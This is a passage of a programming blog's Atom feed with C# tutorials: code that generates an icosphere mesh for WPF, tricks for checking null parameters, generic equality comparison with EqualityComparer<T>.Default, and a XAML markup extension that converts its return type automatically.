triangles&lt;br /&gt;      int a = getMiddlePoint(tri.v1, tri.v2);&lt;br /&gt;      int b = getMiddlePoint(tri.v2, tri.v3);&lt;br /&gt;      int c = getMiddlePoint(tri.v3, tri.v1);&lt;br /&gt;&lt;br /&gt;      faces2.Add(new TriangleIndices(tri.v1, a, c));&lt;br /&gt;      faces2.Add(new TriangleIndices(tri.v2, b, a));&lt;br /&gt;      faces2.Add(new TriangleIndices(tri.v3, c, b));&lt;br /&gt;      faces2.Add(new TriangleIndices(a, b, c));&lt;br /&gt;  }&lt;br /&gt;  faces = faces2;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The method &lt;span style=&quot;font-family:courier new;&quot;&gt;getMiddlePoint()&lt;/span&gt; does a bit more than just splitting the edge in half. Firstly, it fixes it length so the new point will lie on the unit sphere (i.e. a sphere that sits in the origin and has a radius of 1). Otherwise we will end up with a refined icosahedron but not with an icosphere. By the way: this is done with the original vertices of the icosahedron too, as the one we created is bigger than the unit sphere.&lt;br /&gt;Secondly, it caches the points and reuses them. As each edge belongs to two triangles, without the cache there will be two new middle points created for each edge. I implemented the cache using a dictionary. As the key I put the two vertex indices into an Int64. As the middle point of the edge from p1 to p2 is the same as for the edge from p2 to p1, for the key always the smaller index is stored as the first.&lt;br /&gt;&lt;br /&gt;The following images shows created icospheres where the refinement step has been run once, twice and three times, respectively.&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsUOSfNpx7Hz0jpLNDgRKAVt_ahe2Q0hojMjMFVuQEJMQNSysdcfqBvZA031qfp8bnQofXesE9hfV15O85OoHaSfnGh845HwI9mWzOhzA97gfpzuXXN19hOuIKh9EAXVJpkQarc-Cp_-M/s400/icolevels.png&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5349544308133988578&quot; border=&quot;0&quot; /&gt;&lt;br /&gt;&lt;br /&gt;The complete C# code looks like following. It creates a &lt;span style=&quot;font-family:courier new;&quot;&gt;MeshGeometry3D&lt;/span&gt; data structure to be used with XAML/WPF, but as most mesh structures work very similar it should be easy to rewrite it for other frameworks.&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;public class IcoSphereCreator&lt;br /&gt;{&lt;br /&gt;    private struct TriangleIndices&lt;br /&gt;    {&lt;br /&gt;        public int v1;&lt;br /&gt;        public int v2;&lt;br /&gt;        public int v3;&lt;br /&gt;&lt;br /&gt;        public TriangleIndices(int v1, int v2, int v3)&lt;br /&gt;        {&lt;br /&gt;            this.v1 = v1;&lt;br /&gt;            this.v2 = v2;&lt;br /&gt;            this.v3 = v3;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    private MeshGeometry3D geometry;&lt;br /&gt;    private int index;&lt;br /&gt;    private Dictionary&amp;lt;Int64, int&amp;gt; middlePointIndexCache;&lt;br /&gt;&lt;br /&gt;    // add vertex to mesh, fix position to be on unit sphere, return index&lt;br /&gt;    private int addVertex(Point3D p)&lt;br /&gt;    {&lt;br /&gt;        double length = Math.Sqrt(p.X * p.X + p.Y * p.Y + p.Z * p.Z);&lt;br /&gt;        geometry.Positions.Add(new Point3D(p.X/length, p.Y/length, p.Z/length));&lt;br /&gt;        return index++;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    // return index of point in the middle of p1 and p2&lt;br /&gt;    private int getMiddlePoint(int p1, int p2)&lt;br /&gt;    {&lt;br /&gt;        // first check if we have it already&lt;br /&gt;        bool firstIsSmaller = p1 &amp;lt; p2;&lt;br /&gt;        Int64 smallerIndex = firstIsSmaller ? p1 : p2;&lt;br /&gt;        Int64 greaterIndex = firstIsSmaller ? p2 : p1;&lt;br /&gt;        Int64 key = (smallerIndex &amp;lt;&amp;lt; 32) + greaterIndex;&lt;br /&gt;&lt;br /&gt;        int ret;&lt;br /&gt;        if (this.middlePointIndexCache.TryGetValue(key, out ret))&lt;br /&gt;        {&lt;br /&gt;            return ret;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        // not in cache, calculate it&lt;br /&gt;        Point3D point1 = this.geometry.Positions[p1];&lt;br /&gt;        Point3D point2 = this.geometry.Positions[p2];&lt;br /&gt;        Point3D middle = new Point3D(&lt;br /&gt;            (point1.X + point2.X) / 2.0, &lt;br /&gt;            (point1.Y + point2.Y) / 2.0, &lt;br /&gt;            (point1.Z + point2.Z) / 2.0);&lt;br /&gt;&lt;br /&gt;        // add vertex makes sure point is on unit sphere&lt;br /&gt;        int i = addVertex(middle); &lt;br /&gt;&lt;br /&gt;        // store it, return index&lt;br /&gt;        this.middlePointIndexCache.Add(key, i);&lt;br /&gt;        return i;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public MeshGeometry3D Create(int recursionLevel)&lt;br /&gt;    {&lt;br /&gt;        this.geometry = new MeshGeometry3D();&lt;br /&gt;        this.middlePointIndexCache = new Dictionary&amp;lt;long, int&amp;gt;();&lt;br /&gt;        this.index = 0;&lt;br /&gt;&lt;br /&gt;        // create 12 vertices of a icosahedron&lt;br /&gt;        var t = (1.0 + Math.Sqrt(5.0)) / 2.0;&lt;br /&gt;&lt;br /&gt;        addVertex(new Point3D(-1,  t,  0));&lt;br /&gt;        addVertex(new Point3D( 1,  t,  0));&lt;br /&gt;        addVertex(new Point3D(-1, -t,  0));&lt;br /&gt;        addVertex(new Point3D( 1, -t,  0));&lt;br /&gt;&lt;br /&gt;        addVertex(new Point3D( 0, -1,  t));&lt;br /&gt;        addVertex(new Point3D( 0,  1,  t));&lt;br /&gt;        addVertex(new Point3D( 0, -1, -t));&lt;br /&gt;        addVertex(new Point3D( 0,  1, -t));&lt;br /&gt;&lt;br /&gt;        addVertex(new Point3D( t,  0, -1));&lt;br /&gt;        addVertex(new Point3D( t,  0,  1));&lt;br /&gt;        addVertex(new Point3D(-t,  0, -1));&lt;br /&gt;        addVertex(new Point3D(-t,  0,  1));&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        // create 20 triangles of the icosahedron&lt;br /&gt;        var faces = new List&amp;lt;TriangleIndices&amp;gt;();&lt;br /&gt;&lt;br /&gt;        // 5 faces around point 0&lt;br /&gt;        faces.Add(new TriangleIndices(0, 11, 5));&lt;br /&gt;        faces.Add(new TriangleIndices(0, 5, 1));&lt;br /&gt;        faces.Add(new TriangleIndices(0, 1, 7));&lt;br /&gt;        faces.Add(new TriangleIndices(0, 7, 10));&lt;br /&gt;        faces.Add(new TriangleIndices(0, 10, 11));&lt;br /&gt;&lt;br /&gt;        // 5 adjacent faces &lt;br /&gt;        faces.Add(new TriangleIndices(1, 5, 9));&lt;br /&gt;        faces.Add(new TriangleIndices(5, 11, 4));&lt;br /&gt;        faces.Add(new TriangleIndices(11, 10, 2));&lt;br /&gt;        faces.Add(new TriangleIndices(10, 7, 6));&lt;br /&gt;        faces.Add(new TriangleIndices(7, 1, 8));&lt;br /&gt;&lt;br /&gt;        // 5 faces around point 3&lt;br /&gt;        faces.Add(new TriangleIndices(3, 9, 4));&lt;br /&gt;        faces.Add(new TriangleIndices(3, 4, 2));&lt;br /&gt;        faces.Add(new TriangleIndices(3, 2, 6));&lt;br /&gt;        faces.Add(new TriangleIndices(3, 6, 8));&lt;br /&gt;        faces.Add(new TriangleIndices(3, 8, 9));&lt;br /&gt;&lt;br /&gt;        // 5 adjacent faces &lt;br /&gt;        faces.Add(new TriangleIndices(4, 9, 5));&lt;br /&gt;        faces.Add(new TriangleIndices(2, 4, 11));&lt;br /&gt;        faces.Add(new TriangleIndices(6, 2, 10));&lt;br /&gt;        faces.Add(new TriangleIndices(8, 6, 7));&lt;br /&gt;        faces.Add(new TriangleIndices(9, 8, 1));&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        // refine triangles&lt;br /&gt;        for (int i = 0; i &amp;lt; recursionLevel; i++)&lt;br /&gt;        {&lt;br /&gt;            var faces2 = new List&amp;lt;TriangleIndices&amp;gt;();&lt;br /&gt;            foreach (var tri in faces)&lt;br /&gt;            {&lt;br /&gt;                // replace triangle by 4 triangles&lt;br /&gt;                int a = getMiddlePoint(tri.v1, tri.v2);&lt;br /&gt;                int b = getMiddlePoint(tri.v2, tri.v3);&lt;br /&gt;                int c = getMiddlePoint(tri.v3, tri.v1);&lt;br /&gt;&lt;br /&gt;                faces2.Add(new TriangleIndices(tri.v1, a, c));&lt;br /&gt;                faces2.Add(new TriangleIndices(tri.v2, b, a));&lt;br /&gt;                faces2.Add(new TriangleIndices(tri.v3, c, b));&lt;br /&gt;                faces2.Add(new TriangleIndices(a, b, c));&lt;br /&gt;            }&lt;br /&gt;            faces = faces2;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        // done, now add triangles to mesh&lt;br /&gt;        foreach (var tri in faces)&lt;br /&gt;        {&lt;br /&gt;            this.geometry.TriangleIndices.Add(tri.v1);&lt;br /&gt;            this.geometry.TriangleIndices.Add(tri.v2);&lt;br /&gt;            this.geometry.TriangleIndices.Add(tri.v3);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        return this.geometry;        &lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2009/06/creating-icosphere-mesh-in-code.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/656100805557647014'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/656100805557647014'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2009/06/creating-icosphere-mesh-in-code.html' title='Creating an icosphere mesh in code'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgm6NbLkXV6dsmRgLZJbCxa0kUCjSZKS6ATFBHUanD5JxFe4nevpFKeVRDt2to5nhTjmylzwD_4OJZ-AVHjM9zZpX3VxKKrF8eXwfNQcAC3XAn13xjum9CdR6WiTHJbEUEoxdnvFmxUN3o/s72-c/spheretypes.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-8538661753662610628</id><published>2009-05-07T01:55:00.000-07:00</published><updated>2009-07-14T08:30:09.820-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".net"/><category scheme="http://www.blogger.com/atom/ns#" term="c#"/><title type='text'>Fancy ways of checking for null parameters in C#</title><content type='html'>Having programmed in C++ for many years it happens every now and then that I write C# code like this:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;public void MyMethod(Test test)&lt;br /&gt;{&lt;br /&gt;    if (!test)&lt;br /&gt;    {&lt;br /&gt;        throw new ArgumentNullException(&quot;test&quot;);&lt;br /&gt;    } &lt;br /&gt;    ...&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This of course doesn&#39;t compile as &lt;span style=&quot;font-family:courier new;&quot;&gt;test&lt;/span&gt; cannot be cast to bool.&lt;br /&gt;The obvious way of doing it (i.e. &lt;span style=&quot;font-family:courier new;&quot;&gt;if (test == null)&lt;/span&gt; ...) is not really much of a problem, but nevertheless I played around a bit to see if there are other methods of doing it and maybe get my C++ inspired code to work.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Helper Class with Conversion Operators&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Have a look at the following helper class.&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;public class IsNull&lt;br /&gt;{&lt;br /&gt;    private readonly bool value;&lt;br /&gt;&lt;br /&gt;    private IsNull(bool value)&lt;br /&gt;    {&lt;br /&gt;        this.value = value;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public static explicit operator IsNull(Test o)&lt;br /&gt;    {&lt;br /&gt;        return new IsNull(o == null);&lt;br /&gt;    }&lt;br /&gt;    public static bool operator true(IsNull t)&lt;br /&gt;    {&lt;br /&gt;        return t.value;&lt;br /&gt;    }&lt;br /&gt;    public static bool operator false(IsNull t)&lt;br /&gt;    {&lt;br /&gt;        return !t.value;&lt;br /&gt;    }&lt;br /&gt;    public static bool operator !(IsNull t)&lt;br /&gt;    {&lt;br /&gt;        return !t.value;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Using it we can rewrite our test like this:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;    if ((IsNull)test)&lt;br /&gt;    {&lt;br /&gt;       throw new ArgumentNullException(&quot;test&quot;); &lt;br /&gt;    }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Hmm, the code looks a bit strange and it&#39;s not really obvious what&#39;s going on.&lt;br /&gt;The &lt;span style=&quot;font-family: courier new;&quot;&gt;IsNull&lt;/span&gt; class implements a custom conversion operator from type &lt;span style=&quot;font-family: courier new;&quot;&gt;Test&lt;/span&gt;. So the cast creates a new &lt;span style=&quot;font-family: courier new;&quot;&gt;IsNull&lt;/span&gt; object which stores if the passed object was null or not. The class also has overloaded true and false operators which allows the object to be used as an expression for the if statement.&lt;br /&gt;&lt;br /&gt;This approach has one big problem: You cannot create conversion operators from type &lt;span style=&quot;font-family: courier new;&quot;&gt;object&lt;/span&gt;. The example above only works with objects of type &lt;span style=&quot;font-family: courier new;&quot;&gt;Test&lt;/span&gt;. You would either have to add a conversion operator for each type (yuck...) or do it for a common base class (but then it won&#39;t work for classes implemented by others).&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Overloading true and false Operators&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As we&#39;ve seen in the example above the true and false operators can be overloaded for the object to be used as a Boolean expression. This of course can be done with the &lt;span style=&quot;font-family: courier new;&quot;&gt;Test&lt;/span&gt; class too:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;public class Test&lt;br /&gt;{&lt;br /&gt;    public static bool operator true(Test t)&lt;br /&gt;    {&lt;br /&gt;        return t != null;&lt;br /&gt;    }&lt;br /&gt;    public static bool operator false(Test t)&lt;br /&gt;    {&lt;br /&gt;        return t == null;&lt;br /&gt;    }&lt;br /&gt;    public static bool operator !(Test t)&lt;br /&gt;    {&lt;br /&gt;        return t == null;&lt;br /&gt;    }&lt;br /&gt;    ...&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now this allows us to get my pseudo C++ code compile:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;    if (!test)&lt;br /&gt;    {&lt;br /&gt;        throw new ArgumentNullException(&quot;test&quot;);&lt;br /&gt;    }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I didn&#39;t mention it above, but you also have to implement the negation operator to make the ! notation work.&lt;br /&gt;&lt;br /&gt;So we have what we wanted, but the approach has the same problem as the one before: you have to do it for all classes you want to use it for... :-(&lt;br /&gt;&lt;br /&gt;So let&#39;s try something else...&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Using Extension Methods&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Extension methods are a neat way to add methods to classes. You can even extend &lt;span style=&quot;font-family:courier new;&quot;&gt;object&lt;/span&gt;. Let&#39;s try the following:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;public static class ObjectExtensions&lt;br /&gt;{&lt;br /&gt;    public static bool IsNull(this object o)&lt;br /&gt;    {&lt;br /&gt;        return o == null;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This allows us to write the following:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;    if (test.IsNull())&lt;br /&gt;    {&lt;br /&gt;        throw new ArgumentNullException(&quot;test&quot;); &lt;br /&gt;    }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;On first glance this code seems to be complete nonsense as you cannot call a method on an object reference that is null. But using the extension method approach which is implemented as a static method, it really works.&lt;br /&gt;&lt;br /&gt;Useful? Probably not so much.&lt;br /&gt;But you could do the following:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;public static class ObjectExtensions&lt;br /&gt;{&lt;br /&gt;    public static void ThrowIfNull(this object o, string paramName)&lt;br /&gt;    {&lt;br /&gt;        if (o == null)&lt;br /&gt;        {&lt;br /&gt;            throw new ArgumentNullException(paramName);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This allows you to do the null check and the exception throw in one simple step:&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;    test.ThrowIfNull(&quot;test&quot;);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Quite handy, right?&lt;br /&gt;Finally this blog post has some useful content... ;-)</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2009/05/fancy-ways-of-checking-for-null.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/8538661753662610628'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/8538661753662610628'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2009/05/fancy-ways-of-checking-for-null.html' title='Fancy ways of checking for null parameters in C#'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-1353712456062260337</id><published>2009-04-24T04:10:00.000-07:00</published><updated>2009-04-25T02:02:48.446-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".net"/><category scheme="http://www.blogger.com/atom/ns#" term="c#"/><title type='text'>How to test equality of objects of generic type in C#</title><content type='html'>Testing two objects for equality seems to be a very easy thing. If you try to write a generic method that does that, your first try might look like this:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: xml&quot;&gt;&lt;br /&gt;public static bool AreEqual&amp;lt;T&amp;gt;(T param1, T param2)&lt;br /&gt;{&lt;br /&gt;   return param1 == param2;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;But it turns out that it doesn&#39;t compile:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:courier new;&quot;&gt;Operator &#39;==&#39; cannot be applied to operands of type &#39;T&#39; and &#39;T&#39;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;OK, next try. Why not use the &lt;span style=&quot;font-family:courier new;&quot;&gt;IEquatable&amp;lt;T&amp;gt;&lt;/span&gt; interface? Value types implement it so you are not limited to reference types. It could look like this:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: xml&quot;&gt;&lt;br /&gt;public static bool AreEqual&amp;lt;T&amp;gt;(T param1, T param2)&lt;br /&gt;    where T: IEquatable&amp;lt;T&amp;gt;&lt;br /&gt;{&lt;br /&gt;    return param1.Equals(param2);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;It compiles (yes! ;-)) and seems to work. But there are problems with it.&lt;br /&gt;&lt;br /&gt;Firstly, of course, you will get an exception when &lt;span style=&quot;font-family:courier new;&quot;&gt;param1&lt;/span&gt; is null. In case you think this is easy to solve by testing for null stop reading here and try it yourself before reading on.&lt;br /&gt;&lt;br /&gt;You cannot compare it to null as this only works for reference types. Of course instead of null we could use &lt;span style=&quot;font-family:courier new;&quot;&gt;default(T)&lt;/span&gt; which returns null for reference types and 0 for value types. But then we again have the problem that the comparison &lt;span style=&quot;font-family:courier new;&quot;&gt;(param1 == default(T))&lt;/span&gt; won&#39;t compile. The same error as above...&lt;br /&gt;&lt;br /&gt;The second problem is that we have to implement &lt;span style=&quot;font-family:courier new;&quot;&gt;IEquatable&amp;lt;T&amp;gt;&lt;/span&gt; for all our classes even if we just want to use reference equality. Not a big deal but still a bit of an annoyance.&lt;br /&gt;&lt;br /&gt;But it turns out that the solution to all this is again very simple:&lt;br /&gt;&lt;pre class=&quot;brush: xml&quot;&gt;&lt;br /&gt;public static bool AreEqual&amp;lt;T&amp;gt;(T param1, T param2)&lt;br /&gt;{&lt;br /&gt;    return EqualityComparer&amp;lt;T&amp;gt;.Default.Equals(param1, param2);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The static property &lt;span style=&quot;font-family:courier new;&quot;&gt;EqualityComparer&amp;lt;T&amp;gt;.Default&lt;/span&gt; returns the default equality comparer for the given type. When T implements &lt;span style=&quot;font-family:courier new;&quot;&gt;IEquatable&amp;lt;T&amp;gt;&lt;/span&gt; it returns a comparer that uses that. If not, the default reference equality is used.&lt;br /&gt;&lt;br /&gt;Exactly what we need. Not difficult, but you just have to know about it...</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2009/04/how-to-test-equality-for-objects-of.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/1353712456062260337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/1353712456062260337'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2009/04/how-to-test-equality-for-objects-of.html' title='How to test equality of objects of generic type in C#'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhX28mVpipxiHzP8kD02RjSar2ALO5Kt0FyLmv4MS2-xuQtn0Ul3Bpymd4kguLc4sXOhDdFonnrbO3g4v_tvJJ3dNv2jeItQf5OINzgqciimYTE3InFVwfQZqfgqRe1ejY/s220/CRW_2115_250x375.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1448957856353524954.post-1479205427030748553</id><published>2009-04-19T12:17:00.000-07:00</published><updated>2009-04-19T13:01:31.583-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".net"/><category scheme="http://www.blogger.com/atom/ns#" term="c#"/><category scheme="http://www.blogger.com/atom/ns#" term="WPF"/><category scheme="http://www.blogger.com/atom/ns#" term="xaml"/><title type='text'>XAML markup extension with automatic type conversion</title><content type='html'>I recently had the following problem: I am using a custom XAML markup extension in my WPF application. The markup extension returns strings. While I normally use it for assigning values to string properties I this time wanted to apply it to a different type of property.&lt;br /&gt;&lt;br /&gt;The following code illustrates what I wanted to do:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: xml&quot;&gt;&lt;br /&gt;&amp;lt;Window&lt;br /&gt;   xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot;&lt;br /&gt;   xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot;&lt;br /&gt;   xmlns:XamlExtAutoConvert=&quot;clr-namespace:XamlExtAutoConvert&quot;&lt;br /&gt;   x:Class=&quot;XamlExtAutoConvert.TestWindow&quot;&lt;br /&gt;   Title=&quot;TestWindow&quot;&lt;br /&gt;   Height=&quot;300&quot;&lt;br /&gt;   Width=&quot;300&quot;&lt;br /&gt;&amp;gt;&lt;br /&gt;   &amp;lt;Grid HorizontalAlignment=&quot;Center&quot; VerticalAlignment=&quot;Center&quot;&amp;gt;&lt;br /&gt;      &lt;br /&gt;       &amp;lt;Button Width=&quot;{XamlExtAutoConvert:Test}&quot; Content=&quot;{XamlExtAutoConvert:Test}&quot; /&amp;gt;&lt;br /&gt;      &lt;br /&gt;   &amp;lt;/Grid&amp;gt;&lt;br /&gt;&amp;lt;/Window&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;This is of course a pretty stupid example but I hope it gets across what I want to do. Let&#39;s assume that the markup extension &lt;span style=&quot;font-family: courier new;&quot;&gt;XamlExtAutoConvert:Test&lt;/span&gt; returns the string &quot;200&quot;. This string should end up as the button content and at the same time define the width of the button.&lt;br /&gt;&lt;br /&gt;As in XML the width of the button is specified as a string too (after all XML is nothing more than strings) and converted to double (which is the type of the &lt;span style=&quot;font-family: courier new;&quot;&gt;Width &lt;/span&gt;property) I was hoping the same was happening with the value returned from the markup extension.&lt;br /&gt;&lt;br /&gt;I was wrong.&lt;br /&gt;&lt;br /&gt;You will get the following exception:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: plain&quot;&gt;&lt;br /&gt;System.Windows.Markup.XamlParseException occurred&lt;br /&gt; Message=&quot;&#39;200&#39; value cannot be assigned to property &#39;Width&#39; of object &lt;br /&gt;   &#39;System.Windows.Controls.Button&#39;.&lt;br /&gt; &#39;200&#39; is not a valid value for property &#39;Width&#39;.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Fortunately there&#39;s a way to rewrite the markup extension to cover this use case. You can determine the type of the target property. And with that you can try to convert the value to that type.&lt;br /&gt;&lt;br /&gt;A sample markup extension looks like this:&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: csharp&quot;&gt;&lt;br /&gt;using System;&lt;br /&gt;using System.ComponentModel;&lt;br /&gt;using System.Windows;&lt;br /&gt;using System.Windows.Markup;&lt;br /&gt;&lt;br /&gt;namespace XamlExtAutoConvert&lt;br /&gt;{&lt;br /&gt;    class TestExtension: MarkupExtension&lt;br /&gt;    {&lt;br /&gt;        public override object ProvideValue(IServiceProvider serviceProvider)&lt;br /&gt;        {&lt;br /&gt;            var target = (IProvideValueTarget)serviceProvider.GetService(&lt;br /&gt;                typeof(IProvideValueTarget));&lt;br /&gt;            if (target != null)&lt;br /&gt;            {&lt;br /&gt;                // get the actual value to return&lt;br /&gt;                string value = GetValue();&lt;br /&gt;&lt;br /&gt;                // determine the type we need to convert to&lt;br /&gt;                object convertedValue = null;&lt;br /&gt;                Type targetType = null;&lt;br /&gt;                if (target.TargetProperty is DependencyProperty)&lt;br /&gt;                {&lt;br /&gt;                    var property = target.TargetProperty as DependencyProperty;&lt;br /&gt;                    targetType = property.PropertyType;&lt;br /&gt;                }&lt;br /&gt;                else&lt;br /&gt;                {&lt;br /&gt;                    // if needed we could also support other types&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                // check if conversion is needed&lt;br /&gt;                if (targetType != null &amp;amp;&amp;amp; &lt;br /&gt;                    targetType != typeof(string) &amp;amp;&amp;amp; &lt;br /&gt;                    targetType != typeof(object))&lt;br /&gt;                {&lt;br /&gt;                    // try a conversion&lt;br /&gt;                    try&lt;br /&gt;                    {&lt;br /&gt;                        TypeConverter converter = TypeDescriptor.GetConverter(targetType);&lt;br /&gt;                        object retValue = converter.ConvertFromString(value);&lt;br /&gt;                        convertedValue = retValue;&lt;br /&gt;                    }&lt;br /&gt;                    catch (NotSupportedException)&lt;br /&gt;                    {&lt;br /&gt;                        //fall through&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;&lt;br /&gt;                // if we have a converted value, return it&lt;br /&gt;                if (convertedValue != null)&lt;br /&gt;                    return convertedValue;&lt;br /&gt;&lt;br /&gt;                // else just return the string value&lt;br /&gt;                return value;&lt;br /&gt;            }&lt;br /&gt;            return null;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        private string GetValue()&lt;br /&gt;        {&lt;br /&gt;            // replace with whatever the extension is supposed to do&lt;br /&gt;            return &amp;quot;200&amp;quot;;&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;</content><link rel='replies' type='text/html' href='http://blog.andreaskahler.com/2009/04/xaml-markup-extension-with-automatic.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/1479205427030748553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1448957856353524954/posts/default/1479205427030748553'/><link rel='alternate' type='text/html' href='http://blog.andreaskahler.com/2009/04/xaml-markup-extension-with-automatic.html' title='XAML markup extension with automatic type conversion'/><author><name>Andreas Kahler</name><uri>http://www.blogger.com/profile/12380959750847771918</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' 